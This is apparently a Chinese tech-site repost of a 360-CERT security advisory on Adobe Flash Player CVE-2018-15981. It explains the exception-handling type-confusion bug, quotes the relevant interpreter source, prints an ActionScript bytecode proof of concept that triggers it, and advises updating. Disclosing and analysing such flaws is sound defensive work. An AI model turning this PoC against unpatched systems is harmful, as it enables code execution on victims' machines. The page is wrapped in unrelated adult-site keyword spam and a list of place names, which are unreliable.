91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么實現Adobe Flash Player 任意代碼執行漏洞CVE-2018-15981的預警

發布時間:2021-12-20 19:27:58 來源:億速云 閱讀:145 作者:柒染 欄目:大數據

怎么實現Adobe Flash Player 任意代碼執行漏洞CVE-2018-15981的預警,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

0x00 事件背景

昨日深夜,Adobe發布適用于Windows,macOS,Linux和Chrome OS的Adobe Flash Player安全更新,修補了一枚類型混淆漏洞(CVE-2018-15981)。該漏洞影響Adobe Flash Player 31.0.0.148及以前版本,成功利用會導致任意代碼執行。360-CERT對漏洞進行分析,認為該漏洞利用難度低且影響范圍廣,危害嚴重。

0x01 影響范圍

產品版本平臺
Adobe Flash Player Desktop Runtime31.0.0.148 and earlier versionsWindows, macOS and Linux
Adobe Flash Player for Google Chrome31.0.0.148 and earlier versionsWindows, macOS, Linux and Chrome OS
Adobe Flash Player for Microsoft Edge and Internet Explorer 1131.0.0.148 and earlier versionsWindows 10 and 8.1

0x02 漏洞分析

漏洞出在Interpreter.cpp文件中:Flash 在異常處理時,重置了狀態機的許多變量,并將解釋器的PC設置為目標處理程序的地址。但這個過程被過度優化,沒有重置with-scope變量。使得攻擊者可以構造惡意flash 文件,在對象加載后拋出異常,此時修改對象的成員變量類型,造成類型混淆。

在 Interpreter.cpp 源代碼中,定義了一個 withBase 變量,用作scopeBase數組的指針偏移量

register Atom* const scopeBase = framep + ms->local_count();
register Atom* volatile withBase = NULL;
NONDEBUGGER_ONLY( register ) int volatile scopeDepth = 0;
register ScopeChain* const scope = env->scope();

而該變量,在findproperty指令的處理程序處調用。

 INSTR(findproperty) {
           b1 = false;
           findproperty_impl:
               SAVE_EXPC;
               GET_MULTINAME_PTR(multiname, U30ARG);
               if (multiname->isRuntime())
               {
                   aux_memory->multiname2 = *multiname;
                   sp = initMultiname(env, aux_memory->multiname2, sp);
                   multiname = &aux_memory->multiname2;
               }
               *(++sp) = env->findproperty(scope, scopeBase, scopeDepth, multiname, b1, withBase);
               NEXT;
           }

因此可以利用findproperty指令,對該漏洞進行利用。利用的PoC如下:

getlocal0
pushscope

getlocal0
findpropstrict QName(PackageNamespace(""), "NewClass2")
constructprop QName(PackageNamespace(""), "NewClass2"), 0
initproperty QName(PackageInternalNs(""), "myvar")

getlocal0
pushwith

L10:
pushbyte 1
throw
L12:
nop
L16:

getlocal0
pushscope
pushint 534568
newobject 1
coerce QName(PackageNamespace(""), "Object")

pushscope

findproperty Multiname("myvar", [PackageInternalNs(""), PackageNamespace("")])
getproperty Multiname("myvar", [PackageInternalNs(""), PackageNamespace("")])

getslot 1

returnvoid

0x03 安全建議

該漏洞利用難度低且影響范圍廣,危害嚴重。因此360-CERT強烈建議用戶對Adobe Flash Player進行更新。

目前相關補丁已經發布,用戶可以使用軟件內部的“更新”功能,或者訪問 https://www.flash.cn/ 下載最新版本的應用。

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

碌曲县| 略阳县| 曲周县| 凤山市| 冀州市| 阿荣旗| 乌拉特中旗| 济宁市| 梁平县| 黑河市| 施甸县| 慈溪市| 肃南| 安图县| 永仁县| 武城县| 隆子县| 凌源市| 莱阳市| 金溪县| 曲麻莱县| 中卫市| 白水县| 景东| 保德县| 搜索| 育儿| 乐东| 合阳县| 镇巴县| 襄樊市| 乐业县| 宜都市| 安图县| 九龙城区| 万盛区| 高安市| 东乡族自治县| 黑龙江省| 东安县| 海城市|